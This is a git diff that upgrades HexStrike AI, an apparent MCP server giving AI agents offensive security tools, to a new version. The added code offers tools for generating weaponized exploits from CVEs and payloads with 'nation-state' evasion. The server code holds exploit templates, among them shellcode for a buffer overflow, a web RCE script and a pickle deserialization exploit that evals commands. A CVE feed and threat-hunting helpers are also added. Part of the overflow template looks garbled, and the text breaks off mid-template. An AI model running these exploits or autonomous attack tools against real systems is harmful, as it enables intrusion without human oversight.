diff --git a/README.md b/README.md
index c2c172a..b3ed621 100644
--- a/README.md
+++ b/README.md
@@ -2,17 +2,18 @@
-# HexStrike AI MCP Agents v5.0
-### AI-Powered Cybersecurity Tool Integration via Model Context Protocol
+# HexStrike AI MCP Agents v6.0
+### AI-Powered Vulnerability Intelligence & Autonomous Cybersecurity Platform
[](https://www.python.org/)
[](LICENSE)
[](https://github.com/0x4m4/hexstrike-ai)
[](https://github.com/0x4m4/hexstrike-ai)
-[](https://github.com/0x4m4/hexstrike-ai/releases)
+[](https://github.com/0x4m4/hexstrike-ai/releases)
[](https://github.com/0x4m4/hexstrike-ai)
+[](https://github.com/0x4m4/hexstrike-ai)
-**MCP Server that enables AI agents to perform autonomous cybersecurity testing and penetration testing through 70+ integrated security tools**
+**Next-generation MCP Server with Advanced Vulnerability Intelligence, AI-powered Exploit Generation, and Autonomous Threat Hunting capabilities**
[🏗️ Architecture](#️-architecture-overview) • [🚀 Installation](#quick-installation) • [🛠️ Features](#comprehensive-feature-set) • [🤖 AI Usage](#ai-agent-usage-examples) • [📡 API Reference](#api-reference) • [⭐ Star Us](https://github.com/0x4m4/hexstrike-ai)
@@ -206,6 +207,19 @@ Enable your AI agents to become autonomous cybersecurity experts with access to
+
+🧠 Advanced Vulnerability Intelligence (v6.0 NEW!)
+
+- **CVE Intelligence** - Real-time CVE monitoring with AI exploitability analysis
+- **Exploit Generation** - AI-powered exploit development from vulnerability data
+- **Attack Chain Discovery** - Multi-stage attack path identification and optimization
+- **Threat Intelligence** - Advanced IOC correlation across multiple sources
+- **Zero-Day Research** - Automated vulnerability research and pattern recognition
+- **Advanced Payloads** - Nation-state level evasion techniques and obfuscation
+- **Threat Hunting** - AI-assisted threat hunting with vulnerability correlation
+
+
+
### 🤖 **AI-Powered Automation Features**
@@ -411,7 +425,7 @@ Edit `~/.config/Claude/claude_desktop_config.json`:
"/path/to/hexstrike-ai/hexstrike_mcp.py",
"--server", "http://localhost:5000"
],
- "description": "HexStrike AI MCP Agents v5.0"
+ "description": "HexStrike AI MCP Agents v6.0"
}
}
}
@@ -578,9 +592,25 @@ python3 hexstrike_mcp.py --debug
---
-## **What's New in v5.0**
+## **What's New in v6.0**
-### 🔥 Major Enhancements
+### 🧠 Major Intelligence Enhancements
+- **Advanced Vulnerability Intelligence**: Real-time CVE monitoring with AI-powered exploitability analysis
+- **AI Exploit Generation**: Autonomous exploit development from vulnerability descriptions
+- **Attack Chain Discovery**: Multi-stage attack path identification with success probability calculations
+- **Threat Intelligence Correlation**: Advanced IOC analysis across multiple intelligence sources
+- **Zero-Day Research Automation**: AI-driven vulnerability research and pattern recognition
+- **Nation-State Payloads**: Advanced evasion techniques with environmental keying
+
+### 🆕 New Intelligence Features
+- CVE database monitoring with CVSS scoring and exploitability assessment
+- Automatic exploit generation with multiple sophistication levels
+- Attack chain optimization with vulnerability correlation
+- Threat hunting assistance with AI-powered detection queries
+- Advanced payload generation with anti-analysis capabilities
+- Comprehensive vulnerability intelligence dashboard
+
+### 🔥 Previous v5.0 Enhancements
- **MCP Integration**: Full Model Context Protocol support for AI agents
- **Advanced Process Control**: Real-time command termination and monitoring
- **Enhanced Caching**: LRU cache with intelligent TTL management
@@ -588,14 +618,6 @@ python3 hexstrike_mcp.py --debug
- **AI Automation**: Intelligent payload generation and testing capabilities
- **File Operations**: Complete file management system for AI agents
-### 🆕 New Features
-- Real-time command output streaming
-- Progress indicators for long-running operations
-- Contextual payload generation system
-- Advanced API security testing (GraphQL, JWT)
-- Comprehensive process dashboard
-- Enhanced error handling with detailed logging
-
---
## 🔒 Security Considerations
@@ -652,4 +674,4 @@ MIT License - see LICENSE file for details.
---
-**HexStrike AI MCP Agents v5.0 - Empowering AI agents with autonomous cybersecurity capabilities!**
\ No newline at end of file
+**HexStrike AI MCP Agents v6.0 - Next-generation AI-powered vulnerability intelligence and autonomous cybersecurity platform!**
\ No newline at end of file
diff --git a/hexstrike_mcp.py b/hexstrike_mcp.py
index 31370dc..71e0424 100644
--- a/hexstrike_mcp.py
+++ b/hexstrike_mcp.py
@@ -2536,6 +2536,405 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
"stderr": f"Error executing command: {str(e)}"
}
+ # ============================================================================
+ # ADVANCED VULNERABILITY INTELLIGENCE MCP TOOLS (v6.0 ENHANCEMENT)
+ # ============================================================================
+
+ @mcp.tool()
+ def monitor_cve_feeds(hours: int = 24, severity_filter: str = "HIGH,CRITICAL", keywords: str = "") -> Dict[str, Any]:
+ """
+ Monitor CVE databases for new vulnerabilities with AI analysis.
+
+ Args:
+ hours: Hours to look back for new CVEs (default: 24)
+ severity_filter: Filter by CVSS severity - comma-separated values (LOW,MEDIUM,HIGH,CRITICAL,ALL)
+ keywords: Filter CVEs by keywords in description (comma-separated)
+
+ Returns:
+ Latest CVEs with exploitability analysis and threat intelligence
+
+ Example:
+ monitor_cve_feeds(48, "CRITICAL", "remote code execution")
+ """
+ data = {
+ "hours": hours,
+ "severity_filter": severity_filter,
+ "keywords": keywords
+ }
+ logger.info(f"🔍 Monitoring CVE feeds for last {hours} hours | Severity: {severity_filter}")
+ result = hexstrike_client.safe_post("api/vuln-intel/cve-monitor", data)
+
+ if result.get("success"):
+ cve_count = len(result.get("cve_monitoring", {}).get("cves", []))
+ exploit_analysis_count = len(result.get("exploitability_analysis", []))
+ logger.info(f"✅ Found {cve_count} CVEs with {exploit_analysis_count} exploitability analyses")
+
+ return result
+
+ @mcp.tool()
+ def generate_exploit_from_cve(cve_id: str, target_os: str = "", target_arch: str = "x64", exploit_type: str = "poc", evasion_level: str = "none") -> Dict[str, Any]:
+ """
+ Generate working exploits from CVE information using AI-powered analysis.
+
+ Args:
+ cve_id: CVE identifier (e.g., CVE-2024-1234)
+ target_os: Target operating system (windows, linux, macos, any)
+ target_arch: Target architecture (x86, x64, arm, any)
+ exploit_type: Type of exploit to generate (poc, weaponized, stealth)
+ evasion_level: Evasion sophistication (none, basic, advanced)
+
+ Returns:
+ Generated exploit code with testing instructions and evasion techniques
+
+ Example:
+ generate_exploit_from_cve("CVE-2024-1234", "linux", "x64", "weaponized", "advanced")
+ """
+ data = {
+ "cve_id": cve_id,
+ "target_os": target_os,
+ "target_arch": target_arch,
+ "exploit_type": exploit_type,
+ "evasion_level": evasion_level
+ }
+ logger.info(f"🤖 Generating {exploit_type} exploit for {cve_id} | Target: {target_os} {target_arch}")
+ result = hexstrike_client.safe_post("api/vuln-intel/exploit-generate", data)
+
+ if result.get("success"):
+ cve_analysis = result.get("cve_analysis", {})
+ exploit_gen = result.get("exploit_generation", {})
+ exploitability = cve_analysis.get("exploitability_level", "UNKNOWN")
+ exploit_success = exploit_gen.get("success", False)
+
+ logger.info(f"📊 CVE Analysis: {exploitability} exploitability")
+ logger.info(f"🎯 Exploit Generation: {'SUCCESS' if exploit_success else 'FAILED'}")
+
+ return result
+
+ @mcp.tool()
+ def discover_attack_chains(target_software: str, attack_depth: int = 3, include_zero_days: bool = False) -> Dict[str, Any]:
+ """
+ Discover multi-stage attack chains for target software with vulnerability correlation.
+
+ Args:
+ target_software: Target software/system (e.g., "Apache HTTP Server", "Windows Server 2019")
+ attack_depth: Maximum number of stages in attack chain (1-5)
+ include_zero_days: Include potential zero-day vulnerabilities in analysis
+
+ Returns:
+ Attack chains with vulnerability combinations, success probabilities, and exploit availability
+
+ Example:
+ discover_attack_chains("Apache HTTP Server 2.4", 4, True)
+ """
+ data = {
+ "target_software": target_software,
+ "attack_depth": min(max(attack_depth, 1), 5), # Clamp between 1-5
+ "include_zero_days": include_zero_days
+ }
+ logger.info(f"🔗 Discovering attack chains for {target_software} | Depth: {attack_depth} | Zero-days: {include_zero_days}")
+ result = hexstrike_client.safe_post("api/vuln-intel/attack-chains", data)
+
+ if result.get("success"):
+ chains = result.get("attack_chain_discovery", {}).get("attack_chains", [])
+ enhanced_chains = result.get("attack_chain_discovery", {}).get("enhanced_chains", [])
+
+ logger.info(f"📊 Found {len(chains)} attack chains")
+ if enhanced_chains:
+ logger.info(f"🎯 Enhanced {len(enhanced_chains)} chains with exploit analysis")
+
+ return result
+
+ @mcp.tool()
+ def research_zero_day_opportunities(target_software: str, analysis_depth: str = "standard", source_code_url: str = "") -> Dict[str, Any]:
+ """
+ Automated zero-day vulnerability research using AI analysis and pattern recognition.
+
+ Args:
+ target_software: Software to research for vulnerabilities (e.g., "nginx", "OpenSSL")
+ analysis_depth: Depth of analysis (quick, standard, comprehensive)
+ source_code_url: URL to source code repository for enhanced analysis
+
+ Returns:
+ Potential vulnerability areas with exploitation feasibility and research recommendations
+
+ Example:
+ research_zero_day_opportunities("nginx 1.20", "comprehensive", "https://github.com/nginx/nginx")
+ """
+ if analysis_depth not in ["quick", "standard", "comprehensive"]:
+ analysis_depth = "standard"
+
+ data = {
+ "target_software": target_software,
+ "analysis_depth": analysis_depth,
+ "source_code_url": source_code_url
+ }
+ logger.info(f"🔬 Researching zero-day opportunities in {target_software} | Depth: {analysis_depth}")
+ result = hexstrike_client.safe_post("api/vuln-intel/zero-day-research", data)
+
+ if result.get("success"):
+ research = result.get("zero_day_research", {})
+ potential_vulns = len(research.get("potential_vulnerabilities", []))
+ risk_score = research.get("risk_assessment", {}).get("risk_score", 0)
+
+ logger.info(f"📊 Found {potential_vulns} potential vulnerability areas")
+ logger.info(f"🎯 Risk Score: {risk_score}/100")
+
+ return result
+
+ @mcp.tool()
+ def correlate_threat_intelligence(indicators: str, timeframe: str = "30d", sources: str = "all") -> Dict[str, Any]:
+ """
+ Correlate threat intelligence across multiple sources with advanced analysis.
+
+ Args:
+ indicators: Comma-separated IOCs (IPs, domains, hashes, CVEs, etc.)
+ timeframe: Time window for correlation (7d, 30d, 90d, 1y)
+ sources: Intelligence sources to query (cve, exploit-db, github, twitter, all)
+
+ Returns:
+ Correlated threat intelligence with attribution, timeline, and threat scoring
+
+ Example:
+ correlate_threat_intelligence("CVE-2024-1234,192.168.1.100,malware.exe", "90d", "all")
+ """
+ # Validate timeframe
+ valid_timeframes = ["7d", "30d", "90d", "1y"]
+ if timeframe not in valid_timeframes:
+ timeframe = "30d"
+
+ # Parse indicators
+ indicator_list = [i.strip() for i in indicators.split(",") if i.strip()]
+
+ if not indicator_list:
+ logger.error("❌ No valid indicators provided")
+ return {"success": False, "error": "No valid indicators provided"}
+
+ data = {
+ "indicators": indicator_list,
+ "timeframe": timeframe,
+ "sources": sources
+ }
+ logger.info(f"🧠 Correlating threat intelligence for {len(indicator_list)} indicators | Timeframe: {timeframe}")
+ result = hexstrike_client.safe_post("api/vuln-intel/threat-feeds", data)
+
+ if result.get("success"):
+ threat_intel = result.get("threat_intelligence", {})
+ correlations = len(threat_intel.get("correlations", []))
+ threat_score = threat_intel.get("threat_score", 0)
+
+ logger.info(f"📊 Found {correlations} threat correlations")
+ logger.info(f"🎯 Overall Threat Score: {threat_score:.1f}/100")
+
+ return result
+
+ @mcp.tool()
+ def advanced_payload_generation(attack_type: str, target_context: str = "", evasion_level: str = "standard", custom_constraints: str = "") -> Dict[str, Any]:
+ """
+ Generate advanced payloads with AI-powered evasion techniques and contextual adaptation.
+
+ Args:
+ attack_type: Type of attack (rce, privilege_escalation, persistence, exfiltration, xss, sqli)
+ target_context: Target environment details (OS, software versions, security controls)
+ evasion_level: Evasion sophistication (basic, standard, advanced, nation-state)
+ custom_constraints: Custom payload constraints (size limits, character restrictions, etc.)
+
+ Returns:
+ Advanced payloads with multiple evasion techniques and deployment instructions
+
+ Example:
+ advanced_payload_generation("rce", "Windows 11 + Defender + AppLocker", "nation-state", "max_size:256,no_quotes")
+ """
+ valid_attack_types = ["rce", "privilege_escalation", "persistence", "exfiltration", "xss", "sqli", "lfi", "ssrf"]
+ valid_evasion_levels = ["basic", "standard", "advanced", "nation-state"]
+
+ if attack_type not in valid_attack_types:
+ attack_type = "rce"
+
+ if evasion_level not in valid_evasion_levels:
+ evasion_level = "standard"
+
+ data = {
+ "attack_type": attack_type,
+ "target_context": target_context,
+ "evasion_level": evasion_level,
+ "custom_constraints": custom_constraints
+ }
+ logger.info(f"🎯 Generating advanced {attack_type} payload | Evasion: {evasion_level}")
+ if target_context:
+ logger.info(f"🎯 Target Context: {target_context}")
+
+ result = hexstrike_client.safe_post("api/ai/advanced-payload-generation", data)
+
+ if result.get("success"):
+ payload_gen = result.get("advanced_payload_generation", {})
+ payload_count = payload_gen.get("payload_count", 0)
+ evasion_applied = payload_gen.get("evasion_level", "none")
+
+ logger.info(f"📊 Generated {payload_count} advanced payloads")
+ logger.info(f"🛡️ Evasion Level Applied: {evasion_applied}")
+
+ return result
+
+ @mcp.tool()
+ def vulnerability_intelligence_dashboard() -> Dict[str, Any]:
+ """
+ Get a comprehensive vulnerability intelligence dashboard with latest threats and trends.
+
+ Returns:
+ Dashboard with latest CVEs, trending vulnerabilities, exploit availability, and threat landscape
+
+ Example:
+ vulnerability_intelligence_dashboard()
+ """
+ logger.info("📊 Generating vulnerability intelligence dashboard")
+
+ # Get latest critical CVEs
+ latest_cves = hexstrike_client.safe_post("api/vuln-intel/cve-monitor", {
+ "hours": 24,
+ "severity_filter": "CRITICAL",
+ "keywords": ""
+ })
+
+ # Get trending attack types
+ trending_research = hexstrike_client.safe_post("api/vuln-intel/zero-day-research", {
+ "target_software": "web applications",
+ "analysis_depth": "quick"
+ })
+
+ # Compile dashboard
+ dashboard = {
+ "timestamp": time.time(),
+ "latest_critical_cves": latest_cves.get("cve_monitoring", {}).get("cves", [])[:5],
+ "threat_landscape": {
+ "high_risk_software": ["Apache HTTP Server", "Microsoft Exchange", "VMware vCenter", "Fortinet FortiOS"],
+ "trending_attack_vectors": ["Supply chain attacks", "Cloud misconfigurations", "Zero-day exploits", "AI-powered attacks"],
+ "active_threat_groups": ["APT29", "Lazarus Group", "FIN7", "REvil"],
+ },
+ "exploit_intelligence": {
+ "new_public_exploits": "Simulated data - check exploit-db for real data",
+ "weaponized_exploits": "Monitor threat intelligence feeds",
+ "exploit_kits": "Track underground markets"
+ },
+ "recommendations": [
+ "Prioritize patching for critical CVEs discovered in last 24h",
+ "Monitor for zero-day activity in trending attack vectors",
+ "Implement advanced threat detection for active threat groups",
+ "Review security controls against nation-state level attacks"
+ ]
+ }
+
+ logger.info("✅ Vulnerability intelligence dashboard generated")
+ return {
+ "success": True,
+ "dashboard": dashboard
+ }
+
+ @mcp.tool()
+ def threat_hunting_assistant(target_environment: str, threat_indicators: str = "", hunt_focus: str = "general") -> Dict[str, Any]:
+ """
+ AI-powered threat hunting assistant with vulnerability correlation and attack simulation.
+
+ Args:
+ target_environment: Environment to hunt in (e.g., "Windows Domain", "Cloud Infrastructure")
+ threat_indicators: Known IOCs or suspicious indicators to investigate
+ hunt_focus: Focus area (general, apt, ransomware, insider_threat, supply_chain)
+
+ Returns:
+ Threat hunting playbook with detection queries, IOCs, and investigation steps
+
+ Example:
+ threat_hunting_assistant("Windows Domain", "suspicious_process.exe,192.168.1.100", "apt")
+ """
+ valid_hunt_focus = ["general", "apt", "ransomware", "insider_threat", "supply_chain"]
+ if hunt_focus not in valid_hunt_focus:
+ hunt_focus = "general"
+
+ logger.info(f"🔍 Generating threat hunting playbook for {target_environment} | Focus: {hunt_focus}")
+
+ # Parse indicators if provided
+ indicators = [i.strip() for i in threat_indicators.split(",") if i.strip()] if threat_indicators else []
+
+ # Generate hunting playbook
+ hunting_playbook = {
+ "target_environment": target_environment,
+ "hunt_focus": hunt_focus,
+ "indicators_analyzed": indicators,
+ "detection_queries": [],
+ "investigation_steps": [],
+ "threat_scenarios": [],
+ "mitigation_strategies": []
+ }
+
+ # Environment-specific detection queries
+ if "windows" in target_environment.lower():
+ hunting_playbook["detection_queries"] = [
+ "Get-WinEvent | Where-Object {$_.Id -eq 4688 -and $_.Message -like '*suspicious*'}",
+ "Get-Process | Where-Object {$_.ProcessName -notin @('explorer.exe', 'svchost.exe')}",
+ "Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
+ "Get-NetTCPConnection | Where-Object {$_.State -eq 'Established' -and $_.RemoteAddress -notlike '10.*'}"
+ ]
+ elif "cloud" in target_environment.lower():
+ hunting_playbook["detection_queries"] = [
+ "CloudTrail logs for unusual API calls",
+ "Failed authentication attempts from unknown IPs",
+ "Privilege escalation events",
+ "Data exfiltration indicators"
+ ]
+
+ # Focus-specific threat scenarios
+ focus_scenarios = {
+ "apt": [
+ "Spear phishing with weaponized documents",
+ "Living-off-the-land techniques",
+ "Lateral movement via stolen credentials",
+ "Data staging and exfiltration"
+ ],
+ "ransomware": [
+ "Initial access via RDP/VPN",
+ "Privilege escalation and persistence",
+ "Shadow copy deletion",
+ "Encryption and ransom note deployment"
+ ],
+ "insider_threat": [
+ "Unusual data access patterns",
+ "After-hours activity",
+ "Large data downloads",
+ "Access to sensitive systems"
+ ]
+ }
+
+ hunting_playbook["threat_scenarios"] = focus_scenarios.get(hunt_focus, [
+ "Unauthorized access attempts",
+ "Suspicious process execution",
+ "Network anomalies",
+ "Data access violations"
+ ])
+
+ # Investigation steps
+ hunting_playbook["investigation_steps"] = [
+ "1. Validate initial indicators and expand IOC list",
+ "2. Run detection queries and analyze results",
+ "3. Correlate events across multiple data sources",
+ "4. Identify affected systems and user accounts",
+ "5. Assess scope and impact of potential compromise",
+ "6. Implement containment measures if threat confirmed",
+ "7. Document findings and update detection rules"
+ ]
+
+ # Correlate with vulnerability intelligence if indicators provided
+ if indicators:
+ logger.info(f"🧠 Correlating {len(indicators)} indicators with threat intelligence")
+ correlation_result = correlate_threat_intelligence(",".join(indicators), "30d", "all")
+
+ if correlation_result.get("success"):
+ hunting_playbook["threat_correlation"] = correlation_result.get("threat_intelligence", {})
+
+ logger.info("✅ Threat hunting playbook generated")
+ return {
+ "success": True,
+ "hunting_playbook": hunting_playbook
+ }
+
return mcp
def parse_args():
diff --git a/hexstrike_server.py b/hexstrike_server.py
index b7c68bc..2348ab4 100644
--- a/hexstrike_server.py
+++ b/hexstrike_server.py
@@ -10,6 +10,7 @@ import threading
import time
import hashlib
import pickle
+import base64
from datetime import datetime, timedelta
from typing import Dict, Any, Optional
from collections import OrderedDict
@@ -20,6 +21,7 @@ from pathlib import Path
from flask import Flask, request, jsonify
import psutil
import signal
+import requests
# ============================================================================
# PROCESS MANAGEMENT FOR COMMAND TERMINATION (v5.0 ENHANCEMENT)
@@ -591,6 +593,633 @@ class PythonEnvironmentManager:
# Global environment manager
env_manager = PythonEnvironmentManager()
+# ============================================================================
+# ADVANCED VULNERABILITY INTELLIGENCE SYSTEM (v6.0 ENHANCEMENT)
+# ============================================================================
+
+class CVEIntelligenceManager:
+ """CVE database integration and real-time vulnerability monitoring"""
+
+ def __init__(self):
+ self.nvd_api_url = "https://services.nvd.nist.gov/rest/json/cves/2.0"
+ self.exploitdb_api_url = "https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv"
+ self.github_api_url = "https://api.github.com/search/repositories"
+ self.cache_ttl = 3600 # 1 hour cache for CVE data
+
+ def fetch_latest_cves(self, hours=24, severity_filter="HIGH,CRITICAL"):
+ """Fetch latest CVEs from NVD with filtering"""
+ try:
+ from datetime import datetime, timedelta
+ import requests
+
+ # Calculate time range
+ end_time = datetime.now()
+ start_time = end_time - timedelta(hours=hours)
+
+ # Format dates for NVD API
+ start_date = start_time.strftime("%Y-%m-%dT%H:%M:%S.000")
+ end_date = end_time.strftime("%Y-%m-%dT%H:%M:%S.000")
+
+ params = {
+ "pubStartDate": start_date,
+ "pubEndDate": end_date,
+ "resultsPerPage": 100
+ }
+
+ response = requests.get(self.nvd_api_url, params=params, timeout=30)
+ response.raise_for_status()
+
+ cve_data = response.json()
+ vulnerabilities = cve_data.get("vulnerabilities", [])
+
+ # Filter by severity
+ severity_levels = [s.strip() for s in severity_filter.split(",")]
+ filtered_cves = []
+
+ for vuln in vulnerabilities:
+ cve_item = vuln.get("cve", {})
+ metrics = cve_item.get("metrics", {})
+
+ # Extract CVSS score
+ cvss_score = 0.0
+ severity = "UNKNOWN"
+
+ if "cvssMetricV31" in metrics:
+ cvss_data = metrics["cvssMetricV31"][0]["cvssData"]
+ cvss_score = cvss_data.get("baseScore", 0.0)
+ severity = cvss_data.get("baseSeverity", "UNKNOWN")
+ elif "cvssMetricV30" in metrics:
+ cvss_data = metrics["cvssMetricV30"][0]["cvssData"]
+ cvss_score = cvss_data.get("baseScore", 0.0)
+ severity = cvss_data.get("baseSeverity", "UNKNOWN")
+
+ if severity in severity_levels or "ALL" in severity_levels:
+ filtered_cves.append({
+ "cve_id": cve_item.get("id", ""),
+ "description": cve_item.get("descriptions", [{}])[0].get("value", ""),
+ "cvss_score": cvss_score,
+ "severity": severity,
+ "published_date": cve_item.get("published", ""),
+ "last_modified": cve_item.get("lastModified", ""),
+ "references": [ref.get("url", "") for ref in cve_item.get("references", [])]
+ })
+
+ return {
+ "success": True,
+ "total_cves": len(filtered_cves),
+ "cves": filtered_cves,
+ "timeframe": f"{hours} hours",
+ "severity_filter": severity_filter
+ }
+
+ except Exception as e:
+ logger.error(f"Error fetching CVEs: {str(e)}")
+ return {
+ "success": False,
+ "error": str(e),
+ "cves": []
+ }
+
+ def analyze_cve_exploitability(self, cve_id):
+ """AI-powered analysis of CVE exploitability"""
+ try:
+ # Fetch CVE details
+ cve_url = f"{self.nvd_api_url}?cveId={cve_id}"
+ response = requests.get(cve_url, timeout=30)
+ response.raise_for_status()
+
+ cve_data = response.json()
+ if not cve_data.get("vulnerabilities"):
+ return {"success": False, "error": "CVE not found"}
+
+ vuln = cve_data["vulnerabilities"][0]["cve"]
+
+ # Analyze exploitability factors
+ exploitability_score = 0
+ factors = []
+
+ # Check for remote exploitation
+ descriptions = vuln.get("descriptions", [])
+ desc_text = " ".join([d.get("value", "") for d in descriptions]).lower()
+
+ if any(keyword in desc_text for keyword in ["remote", "network", "unauthenticated"]):
+ exploitability_score += 30
+ factors.append("Remote exploitation possible")
+
+ if any(keyword in desc_text for keyword in ["code execution", "rce", "arbitrary code"]):
+ exploitability_score += 40
+ factors.append("Code execution vulnerability")
+
+ if any(keyword in desc_text for keyword in ["buffer overflow", "heap overflow", "stack overflow"]):
+ exploitability_score += 25
+ factors.append("Memory corruption vulnerability")
+
+ if any(keyword in desc_text for keyword in ["injection", "sql", "command", "script"]):
+ exploitability_score += 35
+ factors.append("Injection vulnerability")
+
+ # Check CVSS metrics for exploitability
+ metrics = vuln.get("metrics", {})
+ if "cvssMetricV31" in metrics:
+ cvss = metrics["cvssMetricV31"][0]["cvssData"]
+ if cvss.get("attackVector") == "NETWORK":
+ exploitability_score += 20
+ factors.append("Network attack vector")
+ if cvss.get("attackComplexity") == "LOW":
+ exploitability_score += 15
+ factors.append("Low attack complexity")
+ if cvss.get("privilegesRequired") == "NONE":
+ exploitability_score += 25
+ factors.append("No privileges required")
+
+ # Determine exploitability level
+ if exploitability_score >= 80:
+ level = "CRITICAL"
+ elif exploitability_score >= 60:
+ level = "HIGH"
+ elif exploitability_score >= 40:
+ level = "MEDIUM"
+ else:
+ level = "LOW"
+
+ return {
+ "success": True,
+ "cve_id": cve_id,
+ "exploitability_score": exploitability_score,
+ "exploitability_level": level,
+ "factors": factors,
+ "recommendation": self._get_exploit_recommendation(level, factors)
+ }
+
+ except Exception as e:
+ logger.error(f"Error analyzing CVE {cve_id}: {str(e)}")
+ return {"success": False, "error": str(e)}
+
+ def _get_exploit_recommendation(self, level, factors):
+ """Get exploitation recommendation based on analysis"""
+ if level == "CRITICAL":
+ return "Immediate exploitation possible - High priority for red team testing"
+ elif level == "HIGH":
+ return "Likely exploitable - Good candidate for weaponization"
+ elif level == "MEDIUM":
+ return "Potentially exploitable - Requires further analysis"
+ else:
+ return "Low exploitation probability - Consider for information gathering"
+
+ def search_existing_exploits(self, cve_id):
+ """Search for existing exploits across multiple sources"""
+ try:
+ results = {
+ "cve_id": cve_id,
+ "exploits_found": [],
+ "sources_checked": ["exploit-db", "github", "metasploit"]
+ }
+
+ # Search GitHub for PoCs
+ try:
+ github_params = {
+ "q": f"{cve_id} exploit proof concept poc",
+ "type": "repositories",
+ "sort": "updated"
+ }
+
+ github_response = requests.get(self.github_api_url, params=github_params, timeout=15)
+ if github_response.status_code == 200:
+ github_data = github_response.json()
+
+ for repo in github_data.get("items", [])[:5]: # Limit to top 5
+ results["exploits_found"].append({
+ "source": "github",
+ "title": repo.get("name", ""),
+ "url": repo.get("html_url", ""),
+ "description": repo.get("description", ""),
+ "stars": repo.get("stargazers_count", 0),
+ "last_updated": repo.get("updated_at", "")
+ })
+ except Exception as e:
+ logger.warning(f"GitHub search failed: {str(e)}")
+
+ # Check local exploit database files (if available)
+ exploit_keywords = [cve_id.lower(), cve_id.replace("-", "")]
+ local_exploits = self._search_local_exploits(exploit_keywords)
+ results["exploits_found"].extend(local_exploits)
+
+ return {
+ "success": True,
+ "results": results,
+ "total_exploits": len(results["exploits_found"])
+ }
+
+ except Exception as e:
+ logger.error(f"Error searching exploits for {cve_id}: {str(e)}")
+ return {"success": False, "error": str(e)}
+
+ def _search_local_exploits(self, keywords):
+ """Search local exploit database"""
+ # This would search local copies of exploit databases
+ # For now, return empty list - can be enhanced with local DB integration
+ return []
+
+class AIExploitGenerator:
+ """AI-powered exploit development and enhancement system"""
+
+ def __init__(self):
+ # Extend existing payload templates
+ self.exploit_templates = {
+ "buffer_overflow": {
+ "x86": """
+# Buffer Overflow Exploit Template for {cve_id}
+# Target: {target_info}
+# Architecture: x86
+
+import struct
+import socket
+
+def create_exploit():
+ # Vulnerability details from {cve_id}
+ target_ip = "{target_ip}"
+ target_port = {target_port}
+
+ # Buffer overflow payload
+ padding = "A" * {offset}
+ eip_control = struct.pack(" ")
+ sys.exit(1)
+
+ result = exploit_rce(sys.argv[1], sys.argv[2])
+ if result:
+ print("Exploit successful!")
+ print(result)
+ """,
+ "deserialization": """
+# Deserialization Exploit for {cve_id}
+# Target: {target_info}
+
+import pickle
+import base64
+import requests
+
+class ExploitPayload:
+ def __reduce__(self):
+ return (eval, ('{command}',))
+
+def create_malicious_payload(command):
+ payload = ExploitPayload()
+ serialized = pickle.dumps(payload)
+ encoded = base64.b64encode(serialized).decode()
+ return encoded
+
+def send_exploit(target_url, command):
+ payload = create_malicious_payload(command)
+
+ data = {{
+ "{parameter_name}": payload
+ }}
+
+ response = requests.post(target_url, data=data)
+ return response.text
+ """
+ }
+
+ self.evasion_techniques = {
+ "encoding": ["url", "base64", "hex", "unicode"],
+ "obfuscation": ["variable_renaming", "string_splitting", "comment_injection"],
+ "av_evasion": ["encryption", "packing", "metamorphism"],
+ "waf_bypass": ["case_variation", "parameter_pollution", "header_manipulation"]
+ }
+
+ def generate_exploit_from_cve(self, cve_data, target_info):
+ """Generate working exploit from CVE data"""
+ try:
+ cve_id = cve_data.get("cve_id", "")
+ description = cve_data.get("description", "").lower()
+
+ # Determine vulnerability type
+ vuln_type = self._classify_vulnerability(description)
+ exploit_template = self._select_template(vuln_type, target_info)
+
+ # Generate exploit parameters
+ exploit_params = self._generate_exploit_parameters(cve_data, target_info, vuln_type)
+
+ # Fill template with parameters
+ exploit_code = exploit_template.format(**exploit_params)
+
+ # Apply evasion techniques if requested
+ if target_info.get("evasion_level", "none") != "none":
+ exploit_code = self._apply_evasion_techniques(exploit_code, target_info)
+
+ return {
+ "success": True,
+ "cve_id": cve_id,
+ "vulnerability_type": vuln_type,
+ "exploit_code": exploit_code,
+ "parameters": exploit_params,
+ "instructions": self._generate_usage_instructions(vuln_type, exploit_params),
+ "evasion_applied": target_info.get("evasion_level", "none")
+ }
+
+ except Exception as e:
+ logger.error(f"Error generating exploit: {str(e)}")
+ return {"success": False, "error": str(e)}
+
+ def _classify_vulnerability(self, description):
+ """Classify vulnerability type from description"""
+ if any(keyword in description for keyword in ["buffer overflow", "heap overflow", "stack overflow"]):
+ return "buffer_overflow"
+ elif any(keyword in description for keyword in ["code execution", "command injection", "rce"]):
+ return "web_rce"
+ elif any(keyword in description for keyword in ["deserialization", "unserialize", "pickle"]):
+ return "deserialization"
+ elif any(keyword in description for keyword in ["sql injection", "sqli"]):
+ return "sql_injection"
+ elif any(keyword in description for keyword in ["xss", "cross-site scripting"]):
+ return "xss"
+ else:
+ return "generic"
+
+ def _select_template(self, vuln_type, target_info):
+ """Select appropriate exploit template"""
+ if vuln_type == "buffer_overflow":
+ arch = target_info.get("target_arch", "x86")
+ return self.exploit_templates["buffer_overflow"].get(arch,
+ self.exploit_templates["buffer_overflow"]["x86"])
+ elif vuln_type in self.exploit_templates:
+ return self.exploit_templates[vuln_type]
+ else:
+ return "# Generic exploit template for {cve_id}\n# Manual development required"
+
+ def _generate_exploit_parameters(self, cve_data, target_info, vuln_type):
+ """Generate parameters for exploit template"""
+ params = {
+ "cve_id": cve_data.get("cve_id", ""),
+ "target_info": target_info.get("description", "Unknown target"),
+ "target_ip": target_info.get("target_ip", "192.168.1.100"),
+ "target_port": target_info.get("target_port", 80),
+ "command": target_info.get("command", "id"),
+ }
+
+ if vuln_type == "buffer_overflow":
+ params.update({
+ "offset": target_info.get("offset", 268),
+ "ret_address": target_info.get("ret_address", "0x41414141"),
+ "nop_size": target_info.get("nop_size", 16),
+ "shellcode": target_info.get("shellcode", '"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68"'),
+ "shellcode_type": target_info.get("shellcode_type", "linux/x86/exec"),
+ "rop_gadgets": target_info.get("rop_gadgets", "0x41414141, 0x42424242")
+ })
+ elif vuln_type == "web_rce":
+ params.update({
+ "content_type": target_info.get("content_type", "application/x-www-form-urlencoded"),
+ "injection_payload": target_info.get("injection_payload", '{"cmd": command}'),
